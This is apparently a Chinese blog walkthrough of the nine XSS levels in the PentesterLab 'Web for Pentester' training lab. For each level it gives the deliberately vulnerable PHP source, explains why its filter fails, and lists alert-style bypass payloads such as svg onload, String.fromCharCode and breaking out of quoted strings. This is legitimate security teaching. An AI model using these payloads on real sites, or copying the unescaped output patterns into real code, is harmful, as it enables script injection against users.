zoukankan      html  css  js  c++  java
  • Web For Pentester1 -XSS

    官方地址PentesterLab: Learn Web App Pentesting!

    Web for Pentester 也是一个web的靶场,如下图

    XSS1:

    源代码:

    <?php
    echo $_GET["name"];
    ?>

    解释:无任何过滤,直接插入payload即可

    paylod: <script>alert(1)</script>

    XSS2

    源代码:

    <?php

    $name = $_GET["name"];
    $name = preg_replace("/<script>/","", $name);
    $name = preg_replace("/</script>/","", $name);
    echo $name;
    ?>

    解释:对<script></script>标签进行了替换,但是没有区别大小写,可绕过

    payload:

    "><svg onload=alert(1)>

    "><img src=x onerror=alert(1)> 

    <Script>alert(1)</ScRIpt>

    XSS3

    源码:

    <?php

    $name = $_GET["name"];
    $name = preg_replace("/<script>/i","", $name);
    $name = preg_replace("/</script>/i","", $name);
    echo $name;
    ?>

    解释:对标签<script></script>大小写尽心了过滤,因此可通过起标签绕过

    paylod:

    "><img src=x onerror=alert(1)>//

    XSS4

    源码:

    <?php require_once '../header.php';

    if (preg_match('/script/i', $_GET["name"])) {
    die("error");
    }
    ?>

    解释:这是一个正则匹配,匹配到script字符串,就反馈error,因此可以绕过

    Hello <?php echo $_GET["name"]; ?>
    <?php require_once '../footer.php'; ?>

    payload:

    '"<!--><Svg OnLoad=(confirm)(1)-->

    <input autofocus onfocus=alert(1)>

    XSS5:

    源代码:

    <?php require_once '../header.php';

    if (preg_match('/alert/i', $_GET["name"])) {
    die("error");
    }
    ?>

    Hello <?php echo $_GET["name"]; ?>
    <?php require_once '../footer.php'; ?>

    解释:对alert字符进行了过滤,因此可以通过String.fromCharCode()编码其他标签饶过

    payload:

    <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

    '"<!--><Svg OnLoad=(confirm)(1)-->

    XSS6:

    源码:

    <?php require_once '../header.php'; ?>
    Hello
    <script>
    var $a= "<?php echo $_GET["name"]; ?>";
    </script>
    <?php require_once '../footer.php'; ?>

    解释:这次是在script标签内的,因此可以直接插入script代码,或者闭合script标签之后,插入代码。

    payload:

    hacker";alert(1)//

    hacker"-(confirm)(1)-"

    hacker<!--></Script><Svg/OnLoad=(confirm)(1)-->

    hacker"></script><script>alert(1)</script>

    XSS7:

    源码:

    <?php require_once '../header.php'; ?>
    Hello
    <script>
    var $a= '<?php echo htmlentities($_GET["name"]); ?>';
    </script>

    <?php require_once '../footer.php'; ?>

    解释:

    htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗

    payload:

    hacker';alert(1)//

    hacker'-(confirm)(1)-'

    XSS8:

    源码:

    <?php
    require_once '../header.php';

    if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
    }
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    Your name:<input type="text" name="name" />
    <input type="submit" name="submit"/>

    <?php

    require_once '../footer.php';

    ?>

    解释:

    通过POST传入,htmlentities()HTML实体化编码,基本没得利用,但是注意下那个$_SERVER['PHP_SELF'];

    $_SERVER['PHP_SELF']简介

    $_SERVER['PHP_SELF'] 表示当前 PHP文件相对于网站根目录的位置地址,与 document root 相关。

    假设我们有如下网址,$_SERVER['PHP_SELF']得到的结果分别为:

    http://52php.cnblogs.com/php/ : /php/test.php

    因此,可以使用 $_SERVER['PHP_SELF'] 很方便的获取当前页面的地址:

    $url = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];

    payload:

    /"><script>alert('xss')</script>//

    http://10.10.202.152/xss/example8.php/"><script>alert('xss')</script>//

    XSS9:

    源码:

    <?php require_once '../header.php'; ?>
    <script>
    document.write(location.hash.substring(1));
    </script>
    <?php require_once '../footer.php'; ?>

    解释:

    直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash属性

    payload:

    #<script>alert('XSS')</script>

    备注:在IE浏览器下课触发Chrome和火狐是无法触发的

    完结!

  • 相关阅读:
    World Wide Web Publishing Service 服务成功发送一个 停止 控件
    绵竹网站整理
    利用AirPlayer空中播放PC服务器视频、音乐、图片
    ic管理系统
    IIS 6.0下访问aspx文件提示无法找到该页
    GHOST XP SP3无法安装IIS的解决办法
    html 整个页面变灰
    爱普生LQ630K 730K如何换色带
    sql 格式 00123
    serveu 错误1069 由于登陆失败而无法启动服务
  • 原文地址:https://www.cnblogs.com/hack404/p/13170079.html
Copyright © 2011-2022 走看看